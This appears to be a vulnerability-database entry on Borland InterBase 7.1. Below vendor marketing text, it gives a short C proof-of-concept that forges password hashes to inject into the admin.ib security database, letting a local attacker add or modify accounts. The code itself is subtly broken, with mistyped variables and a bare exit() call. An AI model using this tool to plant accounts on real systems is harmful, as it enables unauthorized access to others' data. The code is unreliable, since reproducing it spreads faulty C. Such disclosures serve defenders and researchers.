The VapidLabs Vulnerability Database

Borland InterBase raises the bar for performance and power in small footprint databases. Designed for use in situations where there is no database administrator or IT support, InterBase is powerful enough to support mission-critical applications, yet compact enough to run on very modest systems. It can be easily transported by disk, CD, or even dial-up download. And unlike enterprise databases that require expensive ecosystems of support and maintenance, InterBase requires virtually no maintenance.

Local attackers can exploit this vulnerability to add or modify accounts in Interbase. The following C program will generate hashed passwords that can be injected into admin.ib database. 

/*Larry W. Cashdollar
Vapid Labs.
Borland Interbase 7.1 password creator. lwc@vapid.dhs.org */

#include <stdio.h>
#include <unistd.h>

#define SALT "9z"

int main (int argc, char *argv[]) {

char crypt1,crypt2;

if (!argv[1]) {
    printf ("Borland InterBase db password tool.\n Larry Cashdollar, vapid labs\nEnter desired password as an argument\n");
exit();
}
        crypt1 =(char *) crypt (argv[1],SALT);
        crypt2 =(char *) crypt (&crypt1[2],SALT);

        printf("Double crypt() is: %s\n",crypt2);
        printf("With out salt (as stored in isc4.gdb/admin.ib: %s\n",&crypt2[2]);
        return(0);
}

4381